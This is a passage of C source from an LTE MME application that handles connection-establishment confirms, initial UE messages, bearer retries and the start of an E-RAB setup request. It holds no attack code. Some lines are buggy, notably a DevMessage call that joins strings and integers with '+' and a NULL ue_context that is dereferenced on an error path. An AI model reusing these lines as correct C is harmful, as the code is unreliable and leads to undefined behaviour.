establishment_cnf_p->ue_id = nas_conn_est_cnf_pP->ue_id; /**< Just set the MME_UE_S1AP_ID as identifier, the S1AP layer will set the enb_ue_s1ap_id from the ue_reference. */
/*
* Add the subscribed UE-AMBR values.
*/
//#pragma message "Check ue_context ambr"
// todo: fix..
ambr_t total_ue_ambr = mme_app_total_p_gw_apn_ambr(ue_context);
establishment_cnf_p->ue_ambr.br_dl = total_ue_ambr.br_dl;
establishment_cnf_p->ue_ambr.br_ul = total_ue_ambr.br_ul; /**< No conversion needed. */
/*
* Add the Security capabilities.
*/
establishment_cnf_p->ue_security_capabilities_encryption_algorithms = nas_conn_est_cnf_pP->encryption_algorithm_capabilities;
establishment_cnf_p->ue_security_capabilities_integrity_algorithms = nas_conn_est_cnf_pP->integrity_algorithm_capabilities;
memcpy(establishment_cnf_p->kenb, nas_conn_est_cnf_pP->kenb, AUTH_KASME_SIZE);
OAILOG_DEBUG (LOG_MME_APP, "security_capabilities_encryption_algorithms 0x%04X\n", establishment_cnf_p->ue_security_capabilities_encryption_algorithms);
OAILOG_DEBUG (LOG_MME_APP, "security_capabilities_integrity_algorithms 0x%04X\n", establishment_cnf_p->ue_security_capabilities_integrity_algorithms);
/*
* The default bearer contains the EMM message with the Attach/TAU-Accept method.
* The rest contain ESM messages with activate dedicated EPS Bearer Context Request messages!
* (Implemented correctly below but ESM information fail).
*
* The correct mapping must be made from each NAS message to each bearer context.
* Currently, just set the default bearer.
*
* No inner NAS message exists.
* todo: later also add an array or a list of NAS messages in the nas_itti_establish_cnf
*/
pdn_context_t * established_pdn = NULL;
RB_FOREACH (established_pdn, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(established_pdn);
bearer_context_t * bc_session = NULL;
RB_FOREACH (bc_session, SessionBearers, &established_pdn->session_bearers) { // todo: @ handover (idle mode tau) this should give us the default ebi!
if(bc_session){ // todo: check for error cases in handover.. if this can ever be null..
// if ((BEARER_STATE_SGW_CREATED || BEARER_STATE_S1_RELEASED) & bc_session->bearer_state) { /**< It could be in IDLE mode. */
establishment_cnf_p->e_rab_id[establishment_cnf_p->no_of_e_rabs] = bc_session->ebi ;//+ EPS_BEARER_IDENTITY_FIRST;
establishment_cnf_p->e_rab_level_qos_qci[establishment_cnf_p->no_of_e_rabs] = bc_session->bearer_level_qos.qci;
establishment_cnf_p->e_rab_level_qos_priority_level[establishment_cnf_p->no_of_e_rabs] = bc_session->bearer_level_qos.pl;
establishment_cnf_p->e_rab_level_qos_preemption_capability[establishment_cnf_p->no_of_e_rabs] = bc_session->bearer_level_qos.pci == 0 ? 1 : 0;
establishment_cnf_p->e_rab_level_qos_preemption_vulnerability[establishment_cnf_p->no_of_e_rabs] = bc_session->bearer_level_qos.pvi == 0 ? 1 : 0;
establishment_cnf_p->transport_layer_address[establishment_cnf_p->no_of_e_rabs] = fteid_ip_address_to_bstring(&bc_session->s_gw_fteid_s1u);
establishment_cnf_p->gtp_teid[establishment_cnf_p->no_of_e_rabs] = bc_session->s_gw_fteid_s1u.teid;
// if (!j) { // todo: ESM message may exist --> should match each to the EBI!
if(establishment_cnf_p->no_of_e_rabs == 0){
establishment_cnf_p->nas_pdu[establishment_cnf_p->no_of_e_rabs] = nas_conn_est_cnf_pP->nas_msg;
nas_conn_est_cnf_pP->nas_msg = NULL; /**< Unlink. */
// }
}
establishment_cnf_p->no_of_e_rabs++;
// }
}
}
}
// pdn_context_t * first_pdn = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
// DevAssert(first_pdn);
//
// bearer_context_t * first_bearer = RB_MIN(SessionBearers, &first_pdn->session_bearers); // todo: @ handover (idle mode tau) this should give us the default ebi!
// if(first_bearer){ // todo: optimize this!
//// if ((BEARER_STATE_SGW_CREATED || BEARER_STATE_S1_RELEASED) & first_bearer->bearer_state) { /**< It could be in IDLE mode. */
// establishment_cnf_p->e_rab_id[0] = first_bearer->ebi ;//+ EPS_BEARER_IDENTITY_FIRST;
// establishment_cnf_p->e_rab_level_qos_qci[0] = first_bearer->qci;
// establishment_cnf_p->e_rab_level_qos_priority_level[0] = first_bearer->priority_level;
// establishment_cnf_p->e_rab_level_qos_preemption_capability[0] = first_bearer->preemption_capability;
// establishment_cnf_p->e_rab_level_qos_preemption_vulnerability[0] = first_bearer->preemption_vulnerability;
// establishment_cnf_p->transport_layer_address[0] = fteid_ip_address_to_bstring(&first_bearer->s_gw_fteid_s1u);
// establishment_cnf_p->gtp_teid[0] = first_bearer->s_gw_fteid_s1u.teid;
//// if (!j) { // todo: ESM message may exist --> should match each to the EBI!
// establishment_cnf_p->nas_pdu[0] = nas_conn_est_cnf_pP->nas_msg;
// nas_conn_est_cnf_pP->nas_msg = NULL; /**< Unlink. */
//// }
// }
// Copy UE radio capabilities into message if it exists (todo).
// OAILOG_DEBUG (LOG_MME_APP, "UE radio context already cached: %s\n",
// ue_context->ue_radio_capabilit_length ? "yes" : "no");
// establishment_cnf_p->ue_radio_cap_length = ue_context->ue_radio_cap_length;
// if (establishment_cnf_p->ue_radio_cap_length) {
// establishment_cnf_p->ue_radio_capabilities =
// (uint8_t*) calloc (establishment_cnf_p->ue_radio_cap_length, sizeof *establishment_cnf_p->ue_radio_capabilities);
// memcpy (establishment_cnf_p->ue_radio_capabilities,
// ue_context->ue_radio_capabilities,
// establishment_cnf_p->ue_radio_cap_length);
// }
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0,
"0 MME_APP_CONNECTION_ESTABLISHMENT_CNF ebi %u s1u_sgw teid " TEID_FMT " qci %u prio level %u sea 0x%x sia 0x%x",
establishment_cnf_p->e_rab_id[0],
establishment_cnf_p->gtp_teid[0],
establishment_cnf_p->e_rab_level_qos_qci[0],
establishment_cnf_p->e_rab_level_qos_priority_level[0],
establishment_cnf_p->ue_security_capabilities_encryption_algorithms,
establishment_cnf_p->ue_security_capabilities_integrity_algorithms);
int to_task = (RUN_MODE_SCENARIO_PLAYER == mme_config.run_mode) ? TASK_MME_SCENARIO_PLAYER:TASK_S1AP;
itti_send_msg_to_task (to_task, INSTANCE_DEFAULT, message_p);
/*
* UE is already in ECM_Connected state.
* */
if(ue_context->ecm_state == ECM_CONNECTED){
/** UE is in connected state. Send S1AP message. */
}else{
OAILOG_ERROR (LOG_MME_APP, "EMM UE context should be in connected state for UE id %d, insted idle (initial_ctx_setup_cnf). \n", ue_context->mme_ue_s1ap_id);
}
/*
* Move the UE to ECM Connected State.However if S1-U bearer establishment fails then we need to move the UE to idle.
* S1 Signaling connection gets established via first uplink context establishment (attach, servReq, tau) message, or via inter-MME handover.
* @Intra-MME handover, the ECM state should stay as ECM_CONNECTED.
*/
/* Start timer to wait for Initial UE Context Response from eNB
* If timer expires treat this as failure of ongoing procedure and abort corresponding NAS procedure such as ATTACH
* or SERVICE REQUEST. Send UE context release command to eNB
*/
if (timer_setup (ue_context->initial_context_setup_rsp_timer.sec, 0,
TASK_MME_APP, INSTANCE_DEFAULT, TIMER_ONE_SHOT, (void *) &(ue_context->mme_ue_s1ap_id), &(ue_context->initial_context_setup_rsp_timer.id)) < 0) {
OAILOG_ERROR (LOG_MME_APP, "Failed to start initial context setup response timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
ue_context->initial_context_setup_rsp_timer.id = MME_APP_TIMER_INACTIVE_ID;
} else {
OAILOG_DEBUG (LOG_MME_APP, "MME APP : Sent Initial context Setup Request and Started guard timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
// sent by S1AP
//------------------------------------------------------------------------------
void
mme_app_handle_initial_ue_message (
itti_s1ap_initial_ue_message_t * const initial_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
bool is_guti_valid = false;
emm_data_context_t *ue_nas_ctx = NULL;
enb_s1ap_id_key_t enb_s1ap_id_key = 0;
void *id = NULL;
OAILOG_DEBUG (LOG_MME_APP, "Received MME_APP_INITIAL_UE_MESSAGE from S1AP\n");
MME_APP_ENB_S1AP_ID_KEY(enb_s1ap_id_key, initial_pP->ecgi.cell_identity.enb_id, initial_pP->enb_ue_s1ap_id);
/*
* Check if there is any existing UE context using S-TMSI/GUTI. If so continue with its MME_APP context.
* MME_UE_S1AP_ID is the main key.
*/
if (initial_pP->is_s_tmsi_valid)
{
OAILOG_DEBUG (LOG_MME_APP, "INITIAL UE Message: Valid mme_code %u and S-TMSI %u received from eNB.\n",
initial_pP->opt_s_tmsi.mme_code, initial_pP->opt_s_tmsi.m_tmsi);
guti_t guti = {.gummei.plmn = {0}, .gummei.mme_gid = 0, .gummei.mme_code = 0, .m_tmsi = INVALID_M_TMSI};
is_guti_valid = mme_app_construct_guti(&(initial_pP->tai.plmn),&(initial_pP->opt_s_tmsi),&guti);
if (is_guti_valid) /**< Can the GUTI belong to this MME. */
{
ue_nas_ctx = emm_data_context_get_by_guti (&_emm_data, &guti);
if (ue_nas_ctx)
{
// Get the UE context using mme_ue_s1ap_id
ue_context = mme_ue_context_exists_mme_ue_s1ap_id(&mme_app_desc.mme_ue_contexts, ue_nas_ctx->ue_id);
/*
* The EMM context may have been removed, due to some erroneous conditions (NAS-NON Delivery, etc.).
* In this case, we invalidate the EMM context for now.
*/
if(!ue_context){
/** todo: later fix this. */
OAILOG_WARNING(LOG_MME_APP, "ToDo: An EMM context for the given UE exists, but not NAS context. "
"This is not implemented now and will be added later (reattach without security). Currently invalidating NAS context. Continuing with the initial UE message. \n");
/** Remove the UE reference implicitly, and then the old context. */
ue_description_t * temp_ue_reference = s1ap_is_enb_ue_s1ap_id_in_list_per_enb(initial_pP->enb_ue_s1ap_id, initial_pP->ecgi.cell_identity.enb_id);
if(temp_ue_reference){
OAILOG_ERROR (LOG_MME_APP, "MME_APP_INITAIL_UE_MESSAGE. ERROR***** Removing the newly created s1ap UE reference with enbUeS1apId " ENB_UE_S1AP_ID_FMT " and enbId %d.\n" ,
initial_pP->enb_ue_s1ap_id, initial_pP->ecgi.cell_identity.enb_id);
s1ap_remove_ue(temp_ue_reference);
}
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
itti_nas_implicit_detach_ue_ind_t *nas_implicit_detach_ue_ind_p = &message_p->ittiMsg.nas_implicit_detach_ue_ind;
memset ((void*)nas_implicit_detach_ue_ind_p, 0, sizeof (itti_nas_implicit_detach_ue_ind_t));
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_nas_ctx->ue_id;
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_INFO(LOG_MME_APP, "Informed NAS about the invalidated NAS context. Dropping the initial UE request for enbUeS1apId " ENB_UE_S1AP_ID_FMT". \n", initial_pP->enb_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if ((ue_context != NULL) && (ue_context->mme_ue_s1ap_id == ue_nas_ctx->ue_id)) {
initial_pP->mme_ue_s1ap_id = ue_nas_ctx->ue_id;
if (ue_context->enb_s1ap_id_key != INVALID_ENB_UE_S1AP_ID_KEY)
{
/*
* Check if there is a handover process (& pending removal) of the object.
* UE has to be in REGISTERED state. Then we can abort the handover procedure (clean the CLR flag) and continue with the initial request.
*
* This might happen if the handover to the target side failed and UE is doing an idle-TAU back to the source MME.
* In that case, the NAS validation will reject the establishment of the NAS request (send just a TAU-Reject back).
* It should then remove the MME_APP context.
*/
mme_app_s10_proc_mme_handover_t * s10_handover_proc = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_handover_proc){
if(ue_context->mm_state == UE_REGISTERED){
if(s10_handover_proc->pending_clear_location_request){
OAILOG_INFO(LOG_MME_APP, "UE_CONTEXT has a handover procedure active with CLR flag set for UE with IMSI " IMSI_64_FMT " and " MME_UE_S1AP_ID_FMT ". "
"Aborting the handover procedure and thereby resetting the CLR flag. \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id);
}
/*
* Abort the handover procedure by just deleting it. It should remove the timers, if they exist.
* The S1AP UE Reference timer should be independent, run and remove the old ue_referece (cannot use it anymore).
*/
mme_app_delete_s10_procedure_mme_handover(ue_context);
}else{
OAILOG_INFO(LOG_MME_APP, "UE_CONTEXT has a handover procedure active but is not REGISTERED (flag set for UE with IMSI " IMSI_64_FMT " and " MME_UE_S1AP_ID_FMT ". "
"Dropping the received initial context request message (attach should be possible after timeout of procedure has occurred). \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id);
DevAssert(s10_handover_proc->proc.timer.id != MME_APP_TIMER_INACTIVE_ID);
/*
* Error during ue context malloc.
* todo: removing the UE reference?!
*/
hashtable_rc_t result_deletion = hashtable_uint64_ts_remove (mme_app_desc.mme_ue_contexts.enb_ue_s1ap_id_ue_context_htbl,
(const hash_key_t)enb_s1ap_id_key);
OAILOG_ERROR (LOG_MME_APP, "MME_APP_INITAIL_UE_MESSAGE. ERROR***** enb_s1ap_id_key %ld has valid value %ld. Result of deletion %d.\n" ,
enb_s1ap_id_key,
initial_pP->enb_ue_s1ap_id,
result_deletion);
OAILOG_ERROR (LOG_MME_APP, "Failed to create new MME UE context enb_ue_s1ap_id " ENB_UE_S1AP_ID_FMT "\n", initial_pP->enb_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}else{
/** Just continue (might be a battery reject). */
OAILOG_INFO(LOG_MME_APP, "No handover procedure for valid/registered UE_CONTEXT with IMSI " IMSI_64_FMT " and " MME_UE_S1AP_ID_FMT ". "
"Continuing to handle it (might be a battery reject). \n", ue_context->imsi, ue_context->mme_ue_s1ap_id);
}
/*
* This only removed the MME_UE_S1AP_ID from enb_s1ap_id_key, it won't remove the UE_REFERENCE itself.
* todo: @ lionel: duplicate_enb_context_detected flag is not checked anymore (NAS).
*/
ue_description_t * old_ue_reference = s1ap_is_enb_ue_s1ap_id_in_list_per_enb(ue_context->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id);
if(old_ue_reference){
OAILOG_ERROR (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE. ERROR***** Found an old UE_REFERENCE with enbUeS1apId " ENB_UE_S1AP_ID_FMT " and enbId %d.\n" ,
old_ue_reference->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id);
s1ap_remove_ue(old_ue_reference);
// OAILOG_WARNING (LOG_MME_APP, "MME_APP_INITAIL_UE_MESSAGE. ERROR***** Removed old UE_REFERENCE with enbUeS1apId " ENB_UE_S1AP_ID_FMT " and enbId %d.\n" ,
// old_ue_reference->enb_ue_s1ap_id, ue_context->e_utran_cgi.cell_identity.enb_id);
}
/*
* Ideally this should never happen. When UE move to IDLE this key is set to INVALID.
* Note - This can happen if eNB detects RLF late and by that time UE sends Initial NAS message via new RRC
* connection.
* However if this key is valid, remove the key from the hashtable.
*/
hashtable_rc_t result_deletion = hashtable_uint64_ts_remove (mme_app_desc.mme_ue_contexts.enb_ue_s1ap_id_ue_context_htbl,
(const hash_key_t)ue_context->enb_s1ap_id_key);
OAILOG_ERROR (LOG_MME_APP, "MME_APP_INITAIL_UE_MESSAGE. ERROR***** enb_s1ap_id_key %ld has valid value %ld. Result of deletion %d.\n" ,
ue_context->enb_s1ap_id_key,
ue_context->enb_ue_s1ap_id,
result_deletion);
ue_context->enb_s1ap_id_key = INVALID_ENB_UE_S1AP_ID_KEY;
}
// Update MME UE context with new enb_ue_s1ap_id
ue_context->enb_ue_s1ap_id = initial_pP->enb_ue_s1ap_id;
// regenerate the enb_s1ap_id_key as enb_ue_s1ap_id is changed.
// todo: also here home_enb_id
// Update enb_s1ap_id_key in hashtable
mme_ue_context_update_coll_keys( &mme_app_desc.mme_ue_contexts,
ue_context,
enb_s1ap_id_key, /**< Generated first. */
ue_nas_ctx->ue_id,
ue_nas_ctx->_imsi64,
ue_context->mme_teid_s11,
ue_context->local_mme_teid_s10,
&guti);
/** Set the UE in ECM-Connected state. */
// todo: checking before
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_CONNECTED);
}
} else {
OAILOG_DEBUG (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE with mme code %u and S-TMSI %u:"
"no EMM UE context found \n", initial_pP->opt_s_tmsi.mme_code, initial_pP->opt_s_tmsi.m_tmsi);
/** Check that also no MME_APP UE context exists for the given GUTI. */
// todo: check
if(mme_ue_context_exists_guti(&mme_app_desc.mme_ue_contexts, &guti) != NULL){
OAILOG_ERROR (LOG_MME_APP, "UE EXIST WITH GUTI!\n.");
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
} else {
OAILOG_DEBUG (LOG_MME_APP, "No MME is configured with MME code %u received in S-TMSI %u from UE.\n",
initial_pP->opt_s_tmsi.mme_code, initial_pP->opt_s_tmsi.m_tmsi);
DevAssert(mme_ue_context_exists_guti(&mme_app_desc.mme_ue_contexts, &guti) == NULL);
}
} else {
OAILOG_DEBUG (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE from S1AP,without S-TMSI. \n"); /**< Continue with new UE context establishment. */
}
/*
* Either we take the existing UE context or create a new one.
* If a new one is created, it might be a duplicate one, which will be found out in the EMM validations.
* There we remove the duplicate context synchronously. // todo: not synchronously yet
*/
if (!(ue_context)) {
OAILOG_DEBUG (LOG_MME_APP, "UE context doesn't exist -> create one \n");
if (!(ue_context = mme_create_new_ue_context ())) {
/*
* Error during UE context malloc.
* todo: removing the UE reference?!
*/
hashtable_rc_t result_deletion = hashtable_uint64_ts_remove (mme_app_desc.mme_ue_contexts.enb_ue_s1ap_id_ue_context_htbl,
(const hash_key_t)ue_context->enb_s1ap_id_key);
OAILOG_ERROR (LOG_MME_APP, "MME_APP_INITAIL_UE_MESSAGE. ERROR***** enb_s1ap_id_key %ld has valid value %ld. Result of deletion %d.\n" ,
ue_context->enb_s1ap_id_key,
ue_context->enb_ue_s1ap_id,
result_deletion);
OAILOG_ERROR (LOG_MME_APP, "Failed to create new MME UE context enb_ue_s1ap_id " ENB_UE_S1AP_ID_FMT "\n", initial_pP->enb_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Initialize the fields of the MME_APP context. */
ue_context->mme_ue_s1ap_id = INVALID_MME_UE_S1AP_ID;
ue_context->enb_ue_s1ap_id = initial_pP->enb_ue_s1ap_id;
// todo: check if this works for home and macro enb id
MME_APP_ENB_S1AP_ID_KEY(ue_context->enb_s1ap_id_key, initial_pP->ecgi.cell_identity.enb_id, initial_pP->enb_ue_s1ap_id);
ue_context->sctp_assoc_id_key = initial_pP->sctp_assoc_id;
OAILOG_DEBUG (LOG_MME_APP, "Created new MME UE context enb_ue_s1ap_id " ENB_UE_S1AP_ID_FMT "\n", initial_pP->enb_ue_s1ap_id);
/** Since the NAS and MME_APP contexts are split again, we assign a new mme_ue_s1ap_id here. */
// uintptr_t bearer_context_2 = mme_app_get_ue_bearer_context_2(ue_context, 5);
ue_context->mme_ue_s1ap_id = mme_app_ctx_get_new_ue_id ();
if (ue_context->mme_ue_s1ap_id == INVALID_MME_UE_S1AP_ID) {
OAILOG_CRITICAL (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE. MME_UE_S1AP_ID allocation Failed.\n");
mme_app_ue_context_free_content(ue_context);
free_wrapper ((void**)&ue_context);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_DEBUG (LOG_MME_APP, "MME_APP_INITIAL_UE_MESSAGE. Allocated new MME UE context and new mme_ue_s1ap_id. %d\n", ue_context->mme_ue_s1ap_id);
if (RETURNerror == mme_insert_ue_context (&mme_app_desc.mme_ue_contexts, ue_context)) {
mme_app_ue_context_free_content(ue_context);
free_wrapper ((void**)&ue_context);
OAILOG_ERROR (LOG_MME_APP, "Failed to insert new MME UE context enb_ue_s1ap_id " ENB_UE_S1AP_ID_FMT "\n", initial_pP->enb_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_CONNECTED);
}
ue_context->sctp_assoc_id_key = initial_pP->sctp_assoc_id;
ue_context->e_utran_cgi = initial_pP->ecgi;
// Notify S1AP about the mapping between mme_ue_s1ap_id and sctp assoc id + enb_ue_s1ap_id
notify_s1ap_new_ue_mme_s1ap_id_association (ue_context->sctp_assoc_id_key, ue_context->enb_ue_s1ap_id, ue_context->mme_ue_s1ap_id);
// Initialize timers to INVALID IDs
ue_context->mobile_reachability_timer.id = MME_APP_TIMER_INACTIVE_ID;
ue_context->implicit_detach_timer.id = MME_APP_TIMER_INACTIVE_ID;
ue_context->initial_context_setup_rsp_timer.id = MME_APP_TIMER_INACTIVE_ID;
ue_context->initial_context_setup_rsp_timer.sec = MME_APP_INITIAL_CONTEXT_SETUP_RSP_TIMER_VALUE;
/** Inform the NAS layer about the new initial UE context. */
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_INITIAL_UE_MESSAGE);
// do this because of same message types name but not same struct in different .h
message_p->ittiMsg.nas_initial_ue_message.nas.ue_id = ue_context->mme_ue_s1ap_id;
message_p->ittiMsg.nas_initial_ue_message.nas.tai = initial_pP->tai;
message_p->ittiMsg.nas_initial_ue_message.nas.ecgi = initial_pP->ecgi;
message_p->ittiMsg.nas_initial_ue_message.nas.as_cause = initial_pP->rrc_establishment_cause;
if (initial_pP->is_s_tmsi_valid) {
message_p->ittiMsg.nas_initial_ue_message.nas.s_tmsi = initial_pP->opt_s_tmsi;
} else {
message_p->ittiMsg.nas_initial_ue_message.nas.s_tmsi.mme_code = 0;
message_p->ittiMsg.nas_initial_ue_message.nas.s_tmsi.m_tmsi = INVALID_M_TMSI;
}
message_p->ittiMsg.nas_initial_ue_message.nas.initial_nas_msg = initial_pP->nas;
initial_pP->nas = NULL;
memcpy (&message_p->ittiMsg.nas_initial_ue_message.transparent, (const void*)&initial_pP->transparent, sizeof (message_p->ittiMsg.nas_initial_ue_message.transparent));
// uintptr_t bearer_context_3 = mme_app_get_ue_bearer_context_2(ue_context, 5);
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_INITIAL_UE_MESSAGE UE id " MME_UE_S1AP_ID_FMT " ", ue_context->mme_ue_s1ap_id);
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_bearer_ctx_retry(itti_nas_retry_bearer_ctx_proc_ind_t * nas_retry_ind){
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, nas_retry_ind->ue_id);
MessageDef *message_p = NULL;
mme_app_s11_proc_t * s11_proc = mme_app_get_s11_procedure(ue_context); /**< Currently, assuming that only one could exist. */
if(s11_proc){
switch(s11_proc->type){
case MME_APP_S11_PROC_TYPE_CREATE_BEARER:{
mme_app_s11_proc_create_bearer_t * s11_proc_cbr = (mme_app_s11_proc_create_bearer_t *)s11_proc;
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_ACTIVATE_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
itti_nas_activate_eps_bearer_ctx_req_t *nas_activate_eps_bearer_ctx_req = &message_p->ittiMsg.nas_activate_eps_bearer_ctx_req;
nas_activate_eps_bearer_ctx_req->bcs_to_be_created_ptr = (uintptr_t)s11_proc_cbr->bcs_tbc;
/** MME_APP Create Bearer Request. */
nas_activate_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
nas_activate_eps_bearer_ctx_req->linked_ebi = s11_proc_cbr->linked_ebi;
/** Copy the BC to be created. */
/** Might be UE triggered. */
nas_activate_eps_bearer_ctx_req->pti = s11_proc_cbr->proc.pti;
nas_activate_eps_bearer_ctx_req->cid = s11_proc_cbr->pci;
/** No need to set bearer states, we won't establish the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_ACTIVATE_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ",
nas_activate_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
}
break;
case MME_APP_S11_PROC_TYPE_UPDATE_BEARER:{
mme_app_s11_proc_update_bearer_t * s11_proc_ubr = (mme_app_s11_proc_update_bearer_t *)s11_proc;
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_MODIFY_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
itti_nas_modify_eps_bearer_ctx_req_t *nas_modify_eps_bearer_ctx_req = &message_p->ittiMsg.nas_modify_eps_bearer_ctx_req;
nas_modify_eps_bearer_ctx_req->bcs_to_be_updated_ptr = (uintptr_t)s11_proc_ubr->bcs_tbu;
/** NAS Update Bearer Request. The ESM layer will also check the APN-AMBR. */
nas_modify_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
/** Might be UE triggered. */
nas_modify_eps_bearer_ctx_req->pti = s11_proc_ubr->proc.pti;
nas_modify_eps_bearer_ctx_req->apn_ambr = s11_proc_ubr->apn_ambr;
/** No need to set bearer states, we won't establish the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_MODIFY_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ", nas_modify_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
break;
case MME_APP_S11_PROC_TYPE_DELETE_BEARER:{
mme_app_s11_proc_delete_bearer_t * s11_proc_dbr = (mme_app_s11_proc_delete_bearer_t *)s11_proc;
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_DEACTIVATE_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
itti_nas_deactivate_eps_bearer_ctx_req_t *nas_deactivate_eps_bearer_ctx_req = &message_p->ittiMsg.nas_deactivate_eps_bearer_ctx_req;
nas_deactivate_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
nas_deactivate_eps_bearer_ctx_req->def_ebi = s11_proc_dbr->def_ebi;
memcpy(&nas_deactivate_eps_bearer_ctx_req->ebis, &s11_proc_dbr->ebis, sizeof(s11_proc_dbr->ebis));
/** Might be UE triggered. */
nas_deactivate_eps_bearer_ctx_req->pti = s11_proc_dbr->proc.pti;
/** Set it to NULL, such that it is not deallocated. */
/** No need to set bearer states, we won't remove the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_DEACTIVATE_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ",
nas_deactivate_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
break;
default:
DevMessage("Procedure " + s11_proc->type + "could not be identified as a valid S11 procedure for for UE with mmeUeS1apId " + ue_context->mme_ue_s1ap_id+ ".\n");
}
}
OAILOG_WARNING(LOG_MME_APP, "No S11 procedure could be found for UE " MME_UE_S1AP_ID_FMT". \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_nas_erab_setup_req (itti_nas_erab_setup_req_t * const itti_nas_erab_setup_req)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, itti_nas_erab_setup_req->ue_id);
if (!ue_context) {
MSC_LOG_EVENT (MSC_MMEAPP_MME, " NAS_ERAB_SETUP_REQ Unknown ue " MME_UE_S1AP_ID_FMT " ", itti_nas_erab_setup_req->ue_id);
OAILOG_ERROR (LOG_MME_APP, "UE context doesn't exist for UE " MME_UE_S1AP_ID_FMT "\n", itti_nas_erab_setup_req->ue_id);
// memory leak
bdestroy_wrapper(&itti_nas_erab_setup_req->nas_msg);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
bearer_context_t* bearer_context = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, itti_nas_erab_setup_req->ebi, &bearer_context);
if (bearer_context) {
MessageDef *message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_E_RAB_SETUP_REQ);
itti_s1ap_e_rab_setup_req_t *s1ap_e_rab_setup_req = &message_p->ittiMsg.s1ap_e_rab_setup_req;
s1ap_e_rab_setup_req->mme_ue_s1ap_id = ue_context->mme_ue_s1ap_id;
s1ap_e_rab_setup_req->enb_ue_s1ap_id = ue_context->enb_ue_s1ap_id;
// E-RAB to Be Setup List
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.no_of_items = 1;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_id = bearer_context->ebi;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.pre_emption_capability =
bearer_context->bearer_level_qos.pci == 0 ? 1 : 0;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.pre_emption_vulnerability =
bearer_context->bearer_level_qos.pvi == 0 ? 1 : 0;
